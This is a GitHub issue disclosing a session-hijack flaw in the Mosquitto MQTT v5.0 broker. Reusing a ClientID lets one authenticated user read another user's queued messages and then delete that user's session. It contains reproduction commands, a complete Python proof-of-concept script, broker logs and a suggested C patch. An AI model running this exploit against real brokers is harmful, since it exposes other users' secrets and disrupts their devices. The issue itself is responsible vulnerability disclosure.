Skip to content

Authenticated user can hijack another user's session via ClientID and exfiltrate queued messages (MQTT v5.0) #3553

@Dongoing

Description

@Dongoing

Summary

An authenticated user can take over another user's persistent session by connecting with the same ClientID. The broker delivers the victim's queued messages to the attacker without checking whether the authenticated identity matches the session owner.

Tested with authentication and ACL enabled. Related: #3551 (session destruction only; this issue adds data exfiltration).

Affected Version

  • Mosquitto 2.1.2 (Docker eclipse-mosquitto:2)
  • MQTT v5.0
  • Test client: paho-mqtt 2.1.0, Python 3.13

Broker Config

listener 1883
password_file /mosquitto/config/passwd
acl_file /mosquitto/config/acl_file
allow_anonymous false
log_type all
connection_messages true

ACL file:

user sensor-user
topic write sensor/#
topic read sensor/#

user admin-user
topic readwrite #

Two separate authenticated users. sensor-user has no access to factory/* topics.

Steps to Reproduce

1. admin-user creates a persistent session:

# Using mosquitto_sub with v5 persistent session
mosquitto_sub -h localhost -u admin-user -P AdminPass456 \
  -V 5 -i "gateway-01" -t "sensor/critical-data" -q 1 \
  --session-expiry-interval 3600
# Ctrl+C to disconnect. Session persists for 3600s.

2. Messages are published while admin-user is offline:

mosquitto_pub -h localhost -u admin-user -P AdminPass456 \
  -V 5 -t "sensor/critical-data" -q 1 -m '{"api_key":"sk-PROD-789"}'
mosquitto_pub -h localhost -u admin-user -P AdminPass456 \
  -V 5 -t "sensor/critical-data" -q 1 -m '{"cmd":"close","target":"valve-7"}'

3. sensor-user connects with admin-user's ClientID (Clean Start=0):

mosquitto_sub -h localhost -u sensor-user -P SensorPass123 \
  -V 5 -i "gateway-01" -t "sensor/critical-data" -q 1 \
  --session-expiry-interval 3600
# sensor-user receives admin-user's queued messages immediately
# from the INHERITED session subscription — before the new SUBSCRIBE is even sent.

4. sensor-user disconnects with Session Expiry Interval=0:

The PoC script sends DISCONNECT with Session Expiry Interval=0, which forces the broker to delete the session.

5. admin-user reconnects — session is gone:

mosquitto_sub -h localhost -u admin-user -P AdminPass456 \
  -V 5 -i "gateway-01" -t "sensor/critical-data" -q 1 \
  --session-expiry-interval 3600
# CONNACK Session Present=0. No subscriptions. No queued messages.

PoC Script

Two test scenarios: Scenario A uses a topic sensor-user can read (sensor/critical-data); Scenario B uses a topic sensor-user cannot read (factory/secret/data).

#!/usr/bin/env python3
"""PoC: MQTT v5.0 session hijack via ClientID + DISCONNECT Session Expiry override."""

import json, threading, time, sys
import paho.mqtt.client as mqtt
from paho.mqtt.enums import CallbackAPIVersion
from paho.mqtt.properties import Properties
from paho.mqtt.packettypes import PacketTypes

CBV1 = CallbackAPIVersion.VERSION1
HOST, PORT = "localhost", 1883
VICTIM_ID = "gateway-01"
ADMIN_USER, ADMIN_PASS = "admin-user", "AdminPass456"
SENSOR_USER, SENSOR_PASS = "sensor-user", "SensorPass123"


def clean(user, pw, cid):
    c = mqtt.Client(CBV1, client_id=cid, protocol=mqtt.MQTTv5)
    c.username_pw_set(user, pw)
    p = Properties(PacketTypes.CONNECT); p.SessionExpiryInterval = 0
    c.connect(HOST, PORT, clean_start=True, properties=p)
    c.loop_start(); time.sleep(0.5); c.disconnect(); c.loop_stop(); time.sleep(0.5)


def run(topic):
    clean(ADMIN_USER, ADMIN_PASS, VICTIM_ID)

    # admin-user: persistent session + subscribe
    c = mqtt.Client(CBV1, client_id=VICTIM_ID, protocol=mqtt.MQTTv5)
    c.username_pw_set(ADMIN_USER, ADMIN_PASS)
    p = Properties(PacketTypes.CONNECT); p.SessionExpiryInterval = 3600
    ready = threading.Event()
    c.on_subscribe = lambda *a: ready.set()
    c.connect(HOST, PORT, clean_start=False, properties=p)
    c.loop_start(); time.sleep(0.5)
    c.subscribe(topic, qos=1); ready.wait(3)
    c.disconnect(properties=Properties(PacketTypes.DISCONNECT))
    c.loop_stop(); time.sleep(1)

    # publish while offline
    msgs = [{"seq": 1, "key": "sk-PROD-789"}, {"seq": 2, "token": "tok-ADMIN-456"}]
    pub = mqtt.Client(CBV1, client_id="publisher-temp", protocol=mqtt.MQTTv5)
    pub.username_pw_set(ADMIN_USER, ADMIN_PASS)
    pub.connect(HOST, PORT, clean_start=True); pub.loop_start(); time.sleep(0.3)
    for m in msgs:
        pub.publish(topic, json.dumps(m), qos=1); time.sleep(0.1)
    pub.disconnect(); pub.loop_stop(); time.sleep(1)

    # sensor-user hijacks
    stolen = []; got = threading.Event(); info = {}
    def on_conn(c, u, f, rc, props=None):
        info["sp"] = f.session_present if hasattr(f, 'session_present') else f
    def on_msg(c, u, m):
        stolen.append(m.payload.decode())
        if len(stolen) >= len(msgs): got.set()
    att = mqtt.Client(CBV1, client_id=VICTIM_ID, protocol=mqtt.MQTTv5)
    att.username_pw_set(SENSOR_USER, SENSOR_PASS)
    ap = Properties(PacketTypes.CONNECT); ap.SessionExpiryInterval = 3600
    att.on_connect = on_conn; att.on_message = on_msg
    att.connect(HOST, PORT, clean_start=False, properties=ap)
    att.loop_start(); got.wait(5)

    # destroy session
    dp = Properties(PacketTypes.DISCONNECT); dp.SessionExpiryInterval = 0
    att.disconnect(properties=dp); att.loop_stop(); time.sleep(1)

    # admin reconnects
    recv = []; done = threading.Event(); info2 = {}
    def on_conn2(c, u, f, rc, props=None):
        info2["sp"] = f.session_present if hasattr(f, 'session_present') else f
    def on_msg2(c, u, m):
        recv.append(m.payload.decode())
        if len(recv) >= len(msgs): done.set()
    dev = mqtt.Client(CBV1, client_id=VICTIM_ID, protocol=mqtt.MQTTv5)
    dev.username_pw_set(ADMIN_USER, ADMIN_PASS)
    vp = Properties(PacketTypes.CONNECT); vp.SessionExpiryInterval = 3600
    dev.on_connect = on_conn2; dev.on_message = on_msg2
    dev.connect(HOST, PORT, clean_start=False, properties=vp)
    dev.loop_start(); done.wait(3); dev.disconnect(); dev.loop_stop()

    return {"sp_att": info.get("sp"), "stolen": len(stolen), "total": len(msgs),
            "admin_recv": len(recv), "sp_admin": info2.get("sp")}

r_a = run("sensor/critical-data")
r_b = run("factory/secret/data")
print(f"Scenario A (sensor-user CAN read): stolen={r_a['stolen']}/{r_a['total']}, admin_after={r_a['admin_recv']}")
print(f"Scenario B (sensor-user CANNOT read): stolen={r_b['stolen']}/{r_b['total']}, admin_after={r_b['admin_recv']}")

Broker Logs

Unedited excerpts from docker logs mqtt-broker-acl after a clean restart (Scenario A).

admin-user creates persistent session (u='admin-user'):

1774625773: New client connected from 172.17.0.1:35660 as gateway-01 (p5, c0, k60, u'admin-user').
1774625773: No will message specified.
1774625773: Sending CONNACK to gateway-01 (0, 0)
1774625774: Received SUBSCRIBE from gateway-01
1774625774: 	sensor/critical-data (QoS 1)
1774625774: gateway-01 1 sensor/critical-data
1774625774: Sending SUBACK to gateway-01
1774625774: Received DISCONNECT from gateway-01
1774625774: Client gateway-01 [172.17.0.1:35660] disconnected.

Messages published while admin-user is offline:

1774625775: New client connected from 172.17.0.1:35674 as publisher-temp (p5, c1, k60, u'admin-user').
1774625775: No will message specified.
1774625775: Sending CONNACK to publisher-temp (0, 0)
1774625775: Received PUBLISH from publisher-temp (d0, q1, r0, m1, 'sensor/critical-data', ... (75 bytes))
1774625775: Sending PUBACK to publisher-temp (m1, rc0)
1774625775: Received PUBLISH from publisher-temp (d0, q1, r0, m2, 'sensor/critical-data', ... (80 bytes))
1774625775: Sending PUBACK to publisher-temp (m2, rc0)
1774625775: Received DISCONNECT from publisher-temp
1774625775: Client publisher-temp [172.17.0.1:35674] disconnected.

sensor-user connects as gateway-01 — session handed over (u='sensor-user'):

1774625776: Client gateway-01 [172.17.0.1:35660] disconnected: session taken over.
1774625776: New client connected from 172.17.0.1:35684 as gateway-01 (p5, c0, k60, u'sensor-user').
1774625776: No will message specified.
1774625776: Sending CONNACK to gateway-01 (1, 0)
1774625776: Sending PUBLISH to gateway-01 (d0, q1, r0, m1, 'sensor/critical-data', ... (75 bytes))
1774625776: Sending PUBLISH to gateway-01 (d0, q1, r0, m2, 'sensor/critical-data', ... (80 bytes))
1774625776: Received PUBACK from gateway-01 (Mid: 1, RC:0)
1774625776: Received PUBACK from gateway-01 (Mid: 2, RC:0)
1774625776: Received DISCONNECT from gateway-01
1774625776: Client gateway-01 [172.17.0.1:35684] disconnected.

Key line: u'admin-user' created the session, u'sensor-user' took it over. CONNACK (1, 0) = Session Present=1. Broker pushed both queued messages to sensor-user.

admin-user reconnects — session destroyed:

1774625777: New client connected from 172.17.0.1:35698 as gateway-01 (p5, c0, k60, u'admin-user').
1774625777: No will message specified.
1774625777: Sending CONNACK to gateway-01 (0, 0)

CONNACK (0, 0) = Session Present=0. No Sending PUBLISH lines. All state is gone.

Scenario B — unauthorized topic: session taken over but messages blocked by ACL:

1774625783: Client gateway-01 [172.17.0.1:35710] disconnected: session taken over.
1774625783: New client connected from 172.17.0.1:55880 as gateway-01 (p5, c0, k60, u'sensor-user').
1774625783: No will message specified.
1774625783: Sending CONNACK to gateway-01 (1, 0)
1774625788: Received DISCONNECT from gateway-01
1774625788: Client gateway-01 [172.17.0.1:55880] disconnected.

Session Present=1 (session was taken over), but no Sending PUBLISH — ACL blocked delivery of factory/secret/data to sensor-user. However, when admin-user reconnects:

1774625789: New client connected from 172.17.0.1:55890 as gateway-01 (p5, c0, k60, u'admin-user').
1774625789: No will message specified.
1774625789: Sending CONNACK to gateway-01 (0, 0)

Session Present=0. The session was still destroyed, and the messages are gone.

Difference from Clean Session=1 Attack

This is a distinct attack from using Clean Session=1 / Clean Start=1:

Clean Session=1 (#3551) This attack
What it does Destroys session on CONNECT Hijacks session, steals data, then destroys
Confidentiality Not affected Breached — attacker reads queued messages
Code path handle_connect.c:108 sub__clean_session() handle_connect.c:115-170 (session transfer) → property_broker.c:225 (expiry override) → context.c:286 (session delete)
Protocol fields Clean Session flag (v3.1.1) Clean Start=0 + DISCONNECT Session Expiry Interval=0 (v5.0)
Requires auth? No Works with authentication
Attacker gets Nothing Subscriptions + queued messages

Impact

  1. Confidentiality breach: Any authenticated user can read another user's queued QoS 1/2 messages by connecting with their ClientID. In the test, sensor-user read messages containing API keys and command tokens queued for admin-user.

  2. Session destruction: After reading the data, the attacker uses DISCONNECT with Session Expiry Interval=0 to delete the victim's session. The victim loses all subscriptions and queued messages.

  3. Works with authentication: The broker authenticates sensor-user successfully but never checks whether sensor-user is authorized to use ClientID gateway-01 (which belongs to admin-user's session). Authentication and ACL do not protect against this.

  4. ACL partially mitigates data theft: Messages on topics outside the attacker's ACL scope are not delivered (Scenario B). But the session takeover and destruction still succeed regardless of ACL.

Prior Art

MQTT 5.0 spec §5.4.2:

"In particular, the implementation should check that the Client is authorized to use the Client Identifier as this gives access to the MQTT Session State."

Suggested Fix

In handle_connect.c, when an existing session is found for the ClientID (line ~96), check whether the authenticated username of the new connection matches the username that created the session:

HASH_FIND(hh_id, db.contexts_by_id, context->id, strlen(context->id), found_context);
if(found_context){
    // Reject if authenticated identity doesn't match session owner
    if(context->username && found_context->username
        && strcmp(context->username, found_context->username) != 0){

        log__printf(NULL, MOSQ_LOG_NOTICE,
            "Rejected CONNECT from '%s' (u='%s'): session owned by u='%s'",
            context->id, context->username, found_context->username);
        send__connack(context, 0, MQTT_RC_NOT_AUTHORIZED, NULL);
        return MOSQ_ERR_AUTH;
    }
    // ... existing session handling code ...
}

Same user reconnecting with the same ClientID still works as before; only cross-user session takeover is blocked.

Happy to provide additional details if needed.

Metadata

Metadata

Assignees

No one assigned

    Labels

    Status: AvailableNo one has claimed responsibility for resolving this issue.

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions